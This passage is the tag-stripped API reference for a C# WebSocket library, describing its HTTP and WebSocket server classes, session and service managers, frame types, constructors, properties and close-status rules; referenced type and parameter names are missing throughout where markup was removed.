- - Gets the instance used for - two-way communication between client and server. - - - A . - - - - - Indicates the WebSocket frame type. - - - The values of this enumeration are defined in - - Section 5.2 of RFC 6455. - - - - - Equivalent to numeric value 0. Indicates continuation frame. - - - - - Equivalent to numeric value 1. Indicates text frame. - - - - - Equivalent to numeric value 2. Indicates binary frame. - - - - - Equivalent to numeric value 8. Indicates connection close frame. - - - - - Equivalent to numeric value 9. Indicates ping frame. - - - - - Equivalent to numeric value 10. Indicates pong frame. - - - - - Represents the empty payload data. - - - - - Represents the allowable max length. - - - - A will occur if the payload data length is - greater than the value of this field. - - - If you would like to change the value, you must set it to a value between - WebSocket.FragmentLength and Int64.MaxValue inclusive. - - - - - - Indicates whether each RSV (RSV1, RSV2, and RSV3) of a WebSocket frame is non-zero. - - - The values of this enumeration are defined in - Section 5.2 of RFC 6455. - - - - - Equivalent to numeric value 0. Indicates zero. - - - - - Equivalent to numeric value 1. Indicates non-zero. - - - - - Represents the event data for the HTTP request events of - the . - - - - An HTTP request event occurs when the - receives an HTTP request. - - - You should access the property if you would - like to get the request data sent from a client. - - - And you should access the property if you would - like to get the response data to return to the client. - - - - - - Gets the request data sent from a client. - - - A that provides the methods and - properties for the request data. - - - - - Gets the response data to return to the client. - - - A that provides the methods and - properties for the response data. - - - - - Gets the information for the client. - - - - A instance or - if not authenticated. - - - That instance describes the identity, authentication scheme, - and security roles for the client. - - - - - - Reads the specified file from the document folder of - the . - - - - An array of or - if it fails. - - - That array receives the contents of the file. - - - - A that represents a virtual path to - find the file from the document folder. - - - is . - - - - is an empty string. - - - -or- - - - contains "..". - - - - - - Tries to read the specified file from the document folder of - the . - - - true if it succeeds to read; otherwise, false. - - - A that represents a virtual path to - find the file from the document folder. - - - - When this method returns, an array of or - if it fails. - - - That array receives the contents of the file. - - - - is . - - - - is an empty string. - - - -or- - - - contains "..". - - - - - - Provides a simple HTTP server that allows to accept - WebSocket handshake requests. - - - This class can provide multiple WebSocket services. - - - - - Initializes a new instance of the class. - - - The new instance listens for incoming requests on - and port 80. - - - - - Initializes a new instance of the class with - the specified . - - - - The new instance listens for incoming requests on - and . - - - It provides secure connections if is 443. - - - - An that represents the number of the port - on which to listen. - - - is less than 1 or greater than 65535. - - - - - Initializes a new instance of the class with - the specified . - - - - The new instance listens for incoming requests on the IP address of the - host of and the port of . - - - Either port 80 or 443 is used if includes - no port. Port 443 is used if the scheme of - is https; otherwise, port 80 is used. - - - The new instance provides secure connections if the scheme of - is https. - - - - A that represents the HTTP URL of the server. - - - is . - - - - is empty. - - - -or- - - - is invalid. - - - - - - Initializes a new instance of the class with - the specified and . - - - The new instance listens for incoming requests on - and . - - - An that represents the number of the port - on which to listen. - - - A : true if the new instance provides - secure connections; otherwise, false. - - - is less than 1 or greater than 65535. - - - - - Initializes a new instance of the class with - the specified and . - - - - The new instance listens for incoming requests on - and . - - - It provides secure connections if is 443. - - - - A that represents - the local IP address on which to listen. - - - An that represents the number of the port - on which to listen. - - - is . - - - is not a local IP address. - - - is less than 1 or greater than 65535. - - - - - Initializes a new instance of the class with - the specified , , - and . - - - The new instance listens for incoming requests on - and . - - - A that represents - the local IP address on which to listen. - - - An that represents the number of the port - on which to listen. - - - A : true if the new instance provides - secure connections; otherwise, false. - - - is . - - - is not a local IP address. - - - is less than 1 or greater than 65535. - - - - - Gets the IP address of the server. - - - A that represents the local - IP address on which to listen for incoming requests. - - - - - Gets or sets the scheme used to authenticate the clients. - - - The set operation does nothing if the server has already - started or it is shutting down. - - - - One of the - enum values. - - - It represents the scheme used to authenticate the clients. - - - The default value is - . - - - - - - Gets or sets the path to the document folder of the server. - - - - '/' or '\' is trimmed from the end of the value if any. - - - The set operation does nothing if the server has already - started or it is shutting down. - - - - - A that represents a path to the folder - from which to find the requested file. - - - The default value is "./Public". - - - - The value specified for a set operation is . - - - - The value specified for a set operation is an empty string. - - - -or- - - - The value specified for a set operation is an invalid path string. - - - -or- - - - The value specified for a set operation is an absolute root. - - - - - - Gets a value indicating whether the server has started. - - - true if the server has started; otherwise, false. - - - - - Gets a value indicating whether the server provides - secure connections. - - - true if the server provides secure connections; - otherwise, false. - - - - - Gets or sets a value indicating whether the server cleans up - the inactive sessions periodically. - - - The set operation does nothing if the server has already - started or it is shutting down. - - - - true if the server cleans up the inactive sessions - every 60 seconds; otherwise, false. - - - The default value is true. - - - - - - Gets the logging function for the server. - - - The default logging level is . - - - A that provides the logging function. - - - - - Gets the port of the server. - - - An that represents the number of the port - on which to listen for incoming requests. - - - - - Gets or sets the realm used for authentication. - - - - "SECRET AREA" is used as the realm if the value is - or an empty string. - - - The set operation does nothing if the server has - already started or it is shutting down. - - - - - A or by default. - - - That string represents the name of the realm. - - - - - - Gets or sets a value indicating whether the server is allowed to - be bound to an address that is already in use. - - - - You should set this property to true if you would - like to resolve to wait for socket in TIME_WAIT state. - - - The set operation does nothing if the server has already - started or it is shutting down. - - - - - true if the server is allowed to be bound to an address - that is already in use; otherwise, false. - - - The default value is false. - - - - - - Gets the configuration for secure connections. - - - This configuration will be referenced when attempts to start, - so it must be configured before the start method is called. - - - A that represents - the configuration used to provide secure connections. - - - This instance does not provide secure connections. - - - - - Gets or sets the delegate used to find the credentials - for an identity. - - - - No credentials are found if the method invoked by - the delegate returns or - the value is . - - - The set operation does nothing if the server has - already started or it is shutting down. - - - - - A Func<, - > delegate or - if not needed. - - - That delegate invokes the method called for finding - the credentials used to authenticate a client. - - - The default value is . - - - - - - Gets or sets the time to wait for the response to the WebSocket Ping or - Close. - - - The set operation does nothing if the server has already started or - it is shutting down. - - - - A to wait for the response. - - - The default value is the same as 1 second. - - - - The value specified for a set operation is zero or less. - - - - - Gets the management function for the WebSocket services - provided by the server. - - - A that manages - the WebSocket services provided by the server. - - - - - Occurs when the server receives an HTTP CONNECT request. - - - - - Occurs when the server receives an HTTP DELETE request. - - - - - Occurs when the server receives an HTTP GET request. - - - - - Occurs when the server receives an HTTP HEAD request. - - - - - Occurs when the server receives an HTTP OPTIONS request. - - - - - Occurs when the server receives an HTTP PATCH request. - - - - - Occurs when the server receives an HTTP POST request. - - - - - Occurs when the server receives an HTTP PUT request. - - - - - Occurs when the server receives an HTTP TRACE request. - - - - - Adds a WebSocket service with the specified behavior, - , and . - - - is converted to a URL-decoded string and - '/' is trimmed from the end of the converted string if any. - - - A that represents an absolute path to - the service to add. - - - - A Func<TBehavior> delegate. - - - It invokes the method called for creating - a new session instance for the service. - - - The method must create a new instance of - the specified behavior class and return it. - - - - - The type of the behavior for the service. - - - It must inherit the class. - - - - - is . - - - -or- - - - is . - - - - - is an empty string. - - - -or- - - - is not an absolute path. - - - -or- - - - includes either or both - query and fragment components. - - - -or- - - - is already in use. - - - - - - Adds a WebSocket service with the specified behavior and - . - - - is converted to a URL-decoded string and - '/' is trimmed from the end of the converted string if any. - - - A that represents an absolute path to - the service to add. - - - - The type of the behavior for the service. - - - It must inherit the class and - must have a public parameterless constructor. - - - - is . - - - - is an empty string. - - - -or- - - - is not an absolute path. - - - -or- - - - includes either or both - query and fragment components. - - - -or- - - - is already in use. - - - - - - Adds a WebSocket service with the specified behavior, - , and . - - - is converted to a URL-decoded string and - '/' is trimmed from the end of the converted string if any. - - - A that represents an absolute path to - the service to add. - - - - An Action<TBehaviorWithNew> delegate or - if not needed. - - - That delegate invokes the method called for initializing - a new session instance for the service. - - - - - The type of the behavior for the service. - - - It must inherit the class and - must have a public parameterless constructor. - - - - is . - - - - is an empty string. - - - -or- - - - is not an absolute path. - - - -or- - - - includes either or both - query and fragment components. - - - -or- - - - is already in use. - - - - - - Gets the contents of the specified file from the document - folder of the server. - - - - An array of or - if it fails. - - - That array represents the contents of the file. - - - - A that represents a virtual path to - find the file from the document folder. - - - is . - - - - is an empty string. - - - -or- - - - contains "..". - - - - - - Removes a WebSocket service with the specified . - - - - is converted to a URL-decoded string and - '/' is trimmed from the end of the converted string if any. - - - The service is stopped with close status 1001 (going away) - if it has already started. - - - - true if the service is successfully found and removed; - otherwise, false. - - - A that represents an absolute path to - the service to remove. - - - is . - - - - is an empty string. - - - -or- - - - is not an absolute path. - - - -or- - - - includes either or both - query and fragment components. - - - - - - Starts receiving incoming requests. - - - This method does nothing if the server has already started or - it is shutting down. - - - - There is no server certificate for secure connections. - - - -or- - - - The underlying has failed to start. - - - - - - Stops receiving incoming requests and closes each connection. - - - This method does nothing if the server is not started, - it is shutting down, or it has already stopped. - - - - - Stops receiving incoming requests and closes each connection. - - - This method does nothing if the server is not started, - it is shutting down, or it has already stopped. - - - - A that represents the status code - indicating the reason for the WebSocket connection close. - - - The status codes are defined in - - Section 7.4 of RFC 6455. - - - - - A that represents the reason for - the WebSocket connection close. - - - The size must be 123 bytes or less in UTF-8. - - - - - is less than 1000 or greater than 4999. - - - -or- - - - The size of is greater than 123 bytes. - - - - - is 1010 (mandatory extension). - - - -or- - - - is 1005 (no status) and - there is . - - - -or- - - - could not be UTF-8-encoded. - - - - - - Stops receiving incoming requests and closes each connection. - - - This method does nothing if the server is not started, - it is shutting down, or it has already stopped. - - - - One of the enum values. - - - It represents the status code indicating the reason for - the WebSocket connection close. - - - - - A that represents the reason for - the WebSocket connection close. - - - The size must be 123 bytes or less in UTF-8. - - - - The size of is greater than 123 bytes. - - - - is - . - - - -or- - - - is - and - there is . - - - -or- - - - could not be UTF-8-encoded. - - - - - - Exposes the properties used to access the information in a session in a WebSocket service. - - - - - Gets the information in the connection request to the WebSocket service. - - - A that provides the access to the connection request. - - - - - Gets the unique ID of the session. - - - A that represents the unique ID of the session. - - - - - Gets the WebSocket subprotocol used in the session. - - - A that represents the subprotocol if any. - - - - - Gets the time that the session has started. - - - A that represents the time that the session has started. - - - - - Gets the state of the used in the session. - - - One of the enum values, indicates the state of - the used in the session. - - - - - Exposes the methods and properties used to define the behavior of a WebSocket service - provided by the or . - - - The WebSocketBehavior class is an abstract class. - - - - - Initializes a new instance of the class. - - - - - Gets the logging functions. - - - A that provides the logging functions, - or if the WebSocket connection isn't established. - - - - - Gets the access to the sessions in the WebSocket service. - - - A that provides the access to the sessions, - or if the WebSocket connection isn't established. - - - - - Gets the information in a handshake request to the WebSocket service. - - - A instance that provides the access to the handshake request, - or if the WebSocket connection isn't established. - - - - - Gets or sets the delegate called to validate the HTTP cookies included in - a handshake request to the WebSocket service. - - - This delegate is called when the used in a session validates - the handshake request. - - - - A Func<CookieCollection, CookieCollection, bool> delegate that references - the method(s) used to validate the cookies. - - - 1st parameter passed to this delegate contains - the cookies to validate if any. - - - 2nd parameter passed to this delegate receives - the cookies to send to the client. - - - This delegate should return true if the cookies are valid. - - - The default value is , and it does nothing to validate. - - - - - - Gets or sets a value indicating whether the used in a session emits - a event when receives a Ping. - - - true if the emits a event - when receives a Ping; otherwise, false. The default value is false. - - - - - Gets the unique ID of a session. - - - A that represents the unique ID of the session, - or if the WebSocket connection isn't established. - - - - - Gets or sets a value indicating whether the WebSocket service ignores - the Sec-WebSocket-Extensions header included in a handshake request. - - - true if the WebSocket service ignores the extensions requested from - a client; otherwise, false. The default value is false. - - - - - Gets or sets the delegate called to validate the Origin header included in - a handshake request to the WebSocket service. - - - This delegate is called when the used in a session validates - the handshake request. - - - - A Func<string, bool> delegate that references the method(s) used to - validate the origin header. - - - parameter passed to this delegate represents the value of - the origin header to validate if any. - - - This delegate should return true if the origin header is valid. - - - The default value is , and it does nothing to validate. - - - - - - Gets or sets the WebSocket subprotocol used in the WebSocket service. - - - Set operation of this property is available before the WebSocket connection has - been established. - - - - A that represents the subprotocol if any. - The default value is . - - - The value to set must be a token defined in - RFC 2616. - - - - - - Gets the time that a session has started. - - - A that represents the time that the session has started, - or if the WebSocket connection isn't established. - - - - - Gets the state of the used in a session. - - - One of the enum values, indicates the state of - the . - - - - - Calls the method with the specified and - . - - - This method doesn't call the method if is - or empty. - - - A that represents the error message. - - - An instance that represents the cause of the error if any. - - - - - Called when the WebSocket connection used in a session has been closed. - - - A that represents the event data passed to - a event. - - - - - Called when the used in a session gets an error. - - - A that represents the event data passed to - a event. - - - - - Called when the used in a session receives a message. - - - A that represents the event data passed to - a event. - - - - - Called when the WebSocket connection used in a session has been established. - - - - - Sends binary to the client on a session. - - - This method is available after the WebSocket connection has been established. - - - An array of that represents the binary data to send. - - - - - Sends the specified as binary data to the client on a session. - - - This method is available after the WebSocket connection has been established. - - - A that represents the file to send. - - - - - Sends text to the client on a session. - - - This method is available after the WebSocket connection has been established. - - - A that represents the text data to send. - - - - - Sends binary asynchronously to the client on a session. - - - - This method is available after the WebSocket connection has been established. - - - This method doesn't wait for the send to be complete. - - - - An array of that represents the binary data to send. - - - An Action<bool> delegate that references the method(s) called when - the send is complete. A passed to this delegate is true - if the send is complete successfully. - - - - - Sends the specified as binary data asynchronously to - the client on a session. - - - - This method is available after the WebSocket connection has been established. - - - This method doesn't wait for the send to be complete. - - - - A that represents the file to send. - - - An Action<bool> delegate that references the method(s) called when - the send is complete. A passed to this delegate is true - if the send is complete successfully. - - - - - Sends text asynchronously to the client on a session. - - - - This method is available after the WebSocket connection has been established. - - - This method doesn't wait for the send to be complete. - - - - A that represents the text data to send. - - - An Action<bool> delegate that references the method(s) called when - the send is complete. A passed to this delegate is true - if the send is complete successfully. - - - - - Sends binary data from the specified asynchronously to - the client on a session. - - - - This method is available after the WebSocket connection has been established. - - - This method doesn't wait for the send to be complete. - - - - A from which contains the binary data to send. - - - An that represents the number of bytes to send. - - - An Action<bool> delegate that references the method(s) called when - the send is complete. A passed to this delegate is true - if the send is complete successfully. - - - - - Provides a WebSocket protocol server. - - - This class can provide multiple WebSocket services. - - - - - Initializes a new instance of the class. - - - The new instance listens for incoming handshake requests on - and port 80. - - - - - Initializes a new instance of the class - with the specified . - - - - The new instance listens for incoming handshake requests on - and . - - - It provides secure connections if is 443. - - - - An that represents the number of the port - on which to listen. - - - is less than 1 or greater than 65535. - - - - - Initializes a new instance of the class - with the specified . - - - - The new instance listens for incoming handshake requests on - the IP address of the host of and - the port of . - - - Either port 80 or 443 is used if includes - no port. Port 443 is used if the scheme of - is wss; otherwise, port 80 is used. - - - The new instance provides secure connections if the scheme of - is wss. - - - - A that represents the WebSocket URL of the server. - - - is . - - - - is an empty string. - - - -or- - - - is invalid. - - - - - - Initializes a new instance of the class - with the specified and . - - - The new instance listens for incoming handshake requests on - and . - - - An that represents the number of the port - on which to listen. - - - A : true if the new instance provides - secure connections; otherwise, false. - - - is less than 1 or greater than 65535. - - - - - Initializes a new instance of the class - with the specified and . - - - - The new instance listens for incoming handshake requests on - and . - - - It provides secure connections if is 443. - - - - A that represents the local - IP address on which to listen. - - - An that represents the number of the port - on which to listen. - - - is . - - - is not a local IP address. - - - is less than 1 or greater than 65535. - - - - - Initializes a new instance of the class - with the specified , , - and . - - - The new instance listens for incoming handshake requests on - and . - - - A that represents the local - IP address on which to listen. - - - An that represents the number of the port - on which to listen. - - - A : true if the new instance provides - secure connections; otherwise, false. - - - is . - - - is not a local IP address. - - - is less than 1 or greater than 65535. - - - - - Gets the IP address of the server. - - - A that represents the local - IP address on which to listen for incoming handshake requests. - - - - - Gets or sets a value indicating whether the server accepts every - handshake request without checking the request URI. - - - The set operation does nothing if the server has already started or - it is shutting down. - - - - true if the server accepts every handshake request without - checking the request URI; otherwise, false. - - - The default value is false. - - - - - - Gets or sets the scheme used to authenticate the clients. - - - The set operation does nothing if the server has already started or - it is shutting down. - - - - One of the - enum values. - - - It represents the scheme used to authenticate the clients. - - - The default value is - . - - - - - - Gets a value indicating whether the server has started. - - - true if the server has started; otherwise, false. - - - - - Gets a value indicating whether the server provides - secure connections. - - - true if the server provides secure connections; - otherwise, false. - - - - - Gets or sets a value indicating whether the server cleans up - the inactive sessions periodically. - - - The set operation does nothing if the server has already started or - it is shutting down. - - - - true if the server cleans up the inactive sessions every - 60 seconds; otherwise, false. - - - The default value is true. - - - - - - Gets the logging function for the server. - - - The default logging level is . - - - A that provides the logging function. - - - - - Gets the port of the server. - - - An that represents the number of the port - on which to listen for incoming handshake requests. - - - - - Gets or sets the realm used for authentication. - - - - "SECRET AREA" is used as the realm if the value is - or an empty string. - - - The set operation does nothing if the server has - already started or it is shutting down. - - - - - A or by default. - - - That string represents the name of the realm. - - - - - - Gets or sets a value indicating whether the server is allowed to - be bound to an address that is already in use. - - - - You should set this property to true if you would - like to resolve to wait for socket in TIME_WAIT state. - - - The set operation does nothing if the server has already - started or it is shutting down. - - - - - true if the server is allowed to be bound to an address - that is already in use; otherwise, false. - - - The default value is false. - - - - - - Gets the configuration for secure connections. - - - This configuration will be referenced when attempts to start, - so it must be configured before the start method is called. - - - A that represents - the configuration used to provide secure connections. - - - This instance does not provide secure connections. - - - - - Gets or sets the delegate used to find the credentials - for an identity. - - - - No credentials are found if the method invoked by - the delegate returns or - the value is . - - - The set operation does nothing if the server has - already started or it is shutting down. - - - - - A Func<, - > delegate or - if not needed. - - - That delegate invokes the method called for finding - the credentials used to authenticate a client. - - - The default value is . - - - - - - Gets or sets the time to wait for the response to the WebSocket Ping or - Close. - - - The set operation does nothing if the server has already started or - it is shutting down. - - - - A to wait for the response. - - - The default value is the same as 1 second. - - - - The value specified for a set operation is zero or less. - - - - - Gets the management function for the WebSocket services - provided by the server. - - - A that manages - the WebSocket services provided by the server. - - - - - Adds a WebSocket service with the specified behavior, - , and . - - - is converted to a URL-decoded string and - '/' is trimmed from the end of the converted string if any. - - - A that represents an absolute path to - the service to add. - - - - A Func<TBehavior> delegate. - - - It invokes the method called for creating a new session - instance for the service. - - - The method must create a new instance of the specified - behavior class and return it. - - - - - The type of the behavior for the service. - - - It must inherit the class. - - - - - is . - - - -or- - - - is . - - - - - is an empty string. - - - -or- - - - is not an absolute path. - - - -or- - - - includes either or both - query and fragment components. - - - -or- - - - is already in use. - - - - - - Adds a WebSocket service with the specified behavior and - . - - - is converted to a URL-decoded string and - '/' is trimmed from the end of the converted string if any. - - - A that represents an absolute path to - the service to add. - - - - The type of the behavior for the service. - - - It must inherit the class and - have a public parameterless constructor. - - - - is . - - - - is an empty string. - - - -or- - - - is not an absolute path. - - - -or- - - - includes either or both - query and fragment components. - - - -or- - - - is already in use. - - - - - - Adds a WebSocket service with the specified behavior, - , and . - - - is converted to a URL-decoded string and - '/' is trimmed from the end of the converted string if any. - - - A that represents an absolute path to - the service to add. - - - - An Action<TBehaviorWithNew> delegate or - if not needed. - - - That delegate invokes the method called for initializing - a new session instance for the service. - - - - - The type of the behavior for the service. - - - It must inherit the class and - have a public parameterless constructor. - - - - is . - - - - is an empty string. - - - -or- - - - is not an absolute path. - - - -or- - - - includes either or both - query and fragment components. - - - -or- - - - is already in use. - - - - - - Removes a WebSocket service with the specified . - - - - is converted to a URL-decoded string and - '/' is trimmed from the end of the converted string if any. - - - The service is stopped with close status 1001 (going away) - if it has already started. - - - - true if the service is successfully found and removed; - otherwise, false. - - - A that represents an absolute path to - the service to remove. - - - is . - - - - is an empty string. - - - -or- - - - is not an absolute path. - - - -or- - - - includes either or both - query and fragment components. - - - - - - Starts receiving incoming handshake requests. - - - This method does nothing if the server has already started or - it is shutting down. - - - - There is no server certificate for secure connections. - - - -or- - - - The underlying has failed to start. - - - - - - Stops receiving incoming handshake requests and closes - each connection. - - - This method does nothing if the server is not started, - it is shutting down, or it has already stopped. - - - The underlying has failed to stop. - - - - - Stops receiving incoming handshake requests and closes each - connection with the specified and - . - - - This method does nothing if the server is not started, - it is shutting down, or it has already stopped. - - - - A that represents the status code - indicating the reason for the close. - - - The status codes are defined in - - Section 7.4 of RFC 6455. - - - - - A that represents the reason for the close. - - - The size must be 123 bytes or less in UTF-8. - - - - - is less than 1000 or greater than 4999. - - - -or- - - - The size of is greater than 123 bytes. - - - - - is 1010 (mandatory extension). - - - -or- - - - is 1005 (no status) and - there is . - - - -or- - - - could not be UTF-8-encoded. - - - - The underlying has failed to stop. - - - - - Stops receiving incoming handshake requests and closes each - connection with the specified and - . - - - This method does nothing if the server is not started, - it is shutting down, or it has already stopped. - - - - One of the enum values. - - - It represents the status code indicating the reason for the close. - - - - - A that represents the reason for the close. - - - The size must be 123 bytes or less in UTF-8. - - - - - is - . - - - -or- - - - is - and - there is . - - - -or- - - - could not be UTF-8-encoded. - - - - The size of is greater than 123 bytes. - - - The underlying has failed to stop. - - - - - Exposes the methods and properties used to access the information in - a WebSocket service provided by the or - . - - - This class is an abstract class. - - - - - Initializes a new instance of the class - with the specified and . - - - A that represents the absolute path to the service. - - - A that represents the logging function for the service. - - - - - Gets the logging function for the service. - - - A that provides the logging function. - - - - - Gets or sets a value indicating whether the service cleans up - the inactive sessions periodically. - - - The set operation does nothing if the service has already started or - it is shutting down. - - - true if the service cleans up the inactive sessions every - 60 seconds; otherwise, false. - - - - - Gets the path to the service. - - - A that represents the absolute path to - the service. - - - - - Gets the management function for the sessions in the service. - - - A that manages the sessions in - the service. - - - - - Gets the of the behavior of the service. - - - A that represents the type of the behavior of - the service. - - - - - Gets or sets the time to wait for the response to the WebSocket Ping or - Close. - - - The set operation does nothing if the service has already started or - it is shutting down. - - - A to wait for the response. - - - The value specified for a set operation is zero or less. - - - - - Creates a new session for the service. - - - A instance that represents - the new session. - - - - - Provides the management function for the WebSocket services. - - - This class manages the WebSocket services provided by - the or . - - - - - Gets the number of the WebSocket services. - - - An that represents the number of the services. - - - - - Gets the host instances for the WebSocket services. - - - - An IEnumerable<WebSocketServiceHost> instance. - - - It provides an enumerator which supports the iteration over - the collection of the host instances. - - - - - - Gets the host instance for a WebSocket service with - the specified . - - - is converted to a URL-decoded string and - / is trimmed from the end of the converted string if any. - - - - A instance or - if not found. - - - That host instance provides the function to access - the information in the service. - - - - A that represents an absolute path to - the service to find. - - - is . - - - - is empty. - - - -or- - - - is not an absolute path. - - - -or- - - - includes either or both - query and fragment components. - - - - - - Gets or sets a value indicating whether the inactive sessions in - the WebSocket services are cleaned up periodically. - - - The set operation does nothing if the server has already started or - it is shutting down. - - - true if the inactive sessions are cleaned up every 60 seconds; - otherwise, false. - - - - - Gets the paths for the WebSocket services. - - - - An IEnumerable<string> instance. - - - It provides an enumerator which supports the iteration over - the collection of the paths. - - - - - - Gets the total number of the sessions in the WebSocket services. - - - An that represents the total number of - the sessions in the services. - - - - - Gets or sets the time to wait for the response to the WebSocket Ping or - Close. - - - The set operation does nothing if the server has already started or - it is shutting down. - - - A to wait for the response. - - - The value specified for a set operation is zero or less. - - - - - Adds a WebSocket service with the specified behavior, - , and . - - - is converted to a URL-decoded string and - / is trimmed from the end of the converted string if any. - - - A that represents an absolute path to - the service to add. - - - - An Action<TBehavior> delegate or - if not needed. - - - That delegate invokes the method called for initializing - a new session instance for the service. - - - - The type of the behavior for the service. It must inherit - the class and it must have - a public parameterless constructor. - - - is . - - - - is empty. - - - -or- - - - is not an absolute path. - - - -or- - - - includes either or both - query and fragment components. - - - -or- - - - is already in use. - - - - - - Sends to every client in the WebSocket services. - - - An array of that represents the binary data to send. - - - The current state of the manager is not Start. - - - is . - - - - - Sends to every client in the WebSocket services. - - - A that represents the text data to send. - - - The current state of the manager is not Start. - - - is . - - - could not be UTF-8-encoded. - - - - - Sends asynchronously to every client in - the WebSocket services. - - - This method does not wait for the send to be complete. - - - An array of that represents the binary data to send. - - - - An delegate or - if not needed. - - - The delegate invokes the method called when the send is complete. - - - - The current state of the manager is not Start. - - - is . - - - - - Sends asynchronously to every client in - the WebSocket services. - - - This method does not wait for the send to be complete. - - - A that represents the text data to send. - - - - An delegate or - if not needed. - - - The delegate invokes the method called when the send is complete. - - - - The current state of the manager is not Start. - - - is . - - - could not be UTF-8-encoded. - - - - - Sends the data from asynchronously to - every client in the WebSocket services. - - - - The data is sent as the binary data. - - - This method does not wait for the send to be complete. - - - - A instance from which to read the data to send. - - - An that specifies the number of bytes to send. - - - - An delegate or - if not needed. - - - The delegate invokes the method called when the send is complete. - - - - The current state of the manager is not Start. - - - is . - - - - cannot be read. - - - -or- - - - is less than 1. - - - -or- - - - No data could be read from . - - - - - - Sends a ping to every client in the WebSocket services. - - - - A Dictionary<string, Dictionary<string, bool>>. - - - It represents a collection of pairs of a service path and another - collection of pairs of a session ID and a value indicating whether - a pong has been received from the client within a time. - - - - The current state of the manager is not Start. - - - - - Sends a ping with to every client in - the WebSocket services. - - - - A Dictionary<string, Dictionary<string, bool>>. - - - It represents a collection of pairs of a service path and another - collection of pairs of a session ID and a value indicating whether - a pong has been received from the client within a time. - - - - - A that represents the message to send. - - - The size must be 125 bytes or less in UTF-8. - - - - The current state of the manager is not Start. - - - could not be UTF-8-encoded. - - - The size of is greater than 125 bytes. - - - - - Removes all WebSocket services managed by the manager. - - - A service is stopped with close status 1001 (going away) - if it has already started. - - - - - Removes a WebSocket service with the specified . - - - - is converted to a URL-decoded string and - / is trimmed from the end of the converted string if any. - - - The service is stopped with close status 1001 (going away) - if it has already started. - - - - true if the service is successfully found and removed; - otherwise, false. - - - A that represents an absolute path to - the service to remove. - - - is . - - - - is empty. - - - -or- - - - is not an absolute path. - - - -or- - - - includes either or both - query and fragment components. - - - - - - Tries to get the host instance for a WebSocket service with - the specified . - - - is converted to a URL-decoded string and - / is trimmed from the end of the converted string if any. - - - true if the service is successfully found; - otherwise, false. - - - A that represents an absolute path to - the service to find. - - - - When this method returns, a - instance or if not found. - - - That host instance provides the function to access - the information in the service. - - - - is . - - - - is empty. - - - -or- - - - is not an absolute path. - - - -or- - - - includes either or both - query and fragment components. - - - - - - Provides the management function for the sessions in a WebSocket service. - - - This class manages the sessions in a WebSocket service provided by - the or . - - - - - Gets the IDs for the active sessions in the WebSocket service. - - - - An IEnumerable<string> instance. - - - It provides an enumerator which supports the iteration over - the collection of the IDs for the active sessions. - - - - - - Gets the number of the sessions in the WebSocket service. - - - An that represents the number of the sessions. - - - - - Gets the IDs for the sessions in the WebSocket service. - - - - An IEnumerable<string> instance. - - - It provides an enumerator which supports the iteration over - the collection of the IDs for the sessions. - - - - - - Gets the IDs for the inactive sessions in the WebSocket service. - - - - An IEnumerable<string> instance. - - - It provides an enumerator which supports the iteration over - the collection of the IDs for the inactive sessions. - - - - - - Gets the session instance with . - - - - A instance or - if not found. - - - The session instance provides the function to access the information - in the session. - - - - A that represents the ID of the session to find. - - - is . - - - is an empty string. - - - - - Gets or sets a value indicating whether the inactive sessions in - the WebSocket service are cleaned up periodically. - - - The set operation does nothing if the service has already started or - it is shutting down. - - - true if the inactive sessions are cleaned up every 60 seconds; - otherwise, false. - - - - - Gets the session instances in the WebSocket service. - - - - An IEnumerable<IWebSocketSession> instance. - - - It provides an enumerator which supports the iteration over - the collection of the session instances. - - - - - - Gets or sets the time to wait for the response to the WebSocket Ping or - Close. - - - The set operation does nothing if the service has already started or - it is shutting down. - - - A to wait for the response. - - - The value specified for a set operation is zero or less. - - - - - Sends to every client in the WebSocket service. - - - An array of that represents the binary data to send. - - - The current state of the manager is not Start. - - - is . - - - - - Sends to every client in the WebSocket service. - - - A that represents the text data to send. - - - The current state of the manager is not Start. - - - is . - - - could not be UTF-8-encoded. - - - - - Sends the data from to every client in - the WebSocket service. - - - The data is sent as the binary data. - - - A instance from which to read the data to send. - - - An that specifies the number of bytes to send. - - - The current state of the manager is not Start. - - - is . - - - - cannot be read. - - - -or- - - - is less than 1. - - - -or- - - - No data could be read from . - - - - - - Sends asynchronously to every client in - the WebSocket service. - - - This method does not wait for the send to be complete. - - - An array of that represents the binary data to send. - - - - An delegate or - if not needed. - - - The delegate invokes the method called when the send is complete. - - - - The current state of the manager is not Start. - - - is . - - - - - Sends asynchronously to every client in - the WebSocket service. - - - This method does not wait for the send to be complete. - - - A that represents the text data to send. - - - - An delegate or - if not needed. - - - The delegate invokes the method called when the send is complete. - - - - The current state of the manager is not Start. - - - is . - - - could not be UTF-8-encoded. - - - - - Sends the data from asynchronously to - every client in the WebSocket service. - - - - The data is sent as the binary data. - - - This method does not wait for the send to be complete. - - - - A instance from which to read the data to send. - - - An that specifies the number of bytes to send. - - - - An delegate or - if not needed. - - - The delegate invokes the method called when the send is complete. - - - - The current state of the manager is not Start. - - - is . - - - - cannot be read. - - - -or- - - - is less than 1. - - - -or- - - - No data could be read from . - - - - - - Sends a ping to every client in the WebSocket service. - - - - A Dictionary<string, bool>. - - - It represents a collection of pairs of a session ID and - a value indicating whether a pong has been received from - the client within a time. - - - - The current state of the manager is not Start. - - - - - Sends a ping with to every client in - the WebSocket service. - - - - A Dictionary<string, bool>. - - - It represents a collection of pairs of a session ID and - a value indicating whether a pong has been received from - the client within a time. - - - - - A that represents the message to send. - - - The size must be 125 bytes or less in UTF-8. - - - - The current state of the manager is not Start. - - - could not be UTF-8-encoded. - - - The size of is greater than 125 bytes. - - - - - Closes the specified session. - - - A that represents the ID of the session to close. - - - is . - - - is an empty string. - - - The session could not be found. - - - - - Closes the specified session with and - . - - - A that represents the ID of the session to close. - - - - A that represents the status code indicating - the reason for the close. - - - The status codes are defined in - - Section 7.4 of RFC 6455. - - - - - A that represents the reason for the close. - - - The size must be 123 bytes or less in UTF-8. - - - - is . - - - - is an empty string. - - - -or- - - - is 1010 (mandatory extension). - - - -or- - - - is 1005 (no status) and there is - . - - - -or- - - - could not be UTF-8-encoded. - - - - The session could not be found. - - - - is less than 1000 or greater than 4999. - - - -or- - - - The size of is greater than 123 bytes. - - - - - - Closes the specified session with and - . - - - A that represents the ID of the session to close. - - - - One of the enum values. - - - It represents the status code indicating the reason for the close. - - - - - A that represents the reason for the close. - - - The size must be 123 bytes or less in UTF-8. - - - - is . - - - - is an empty string. - - - -or- - - - is - . - - - -or- - - - is - and there is - . - - - -or- - - - could not be UTF-8-encoded. - - - - The session could not be found. - - - The size of is greater than 123 bytes. - - - - - Sends a ping to the client using the specified session. - - - true if the send has done with no error and a pong has been - received from the 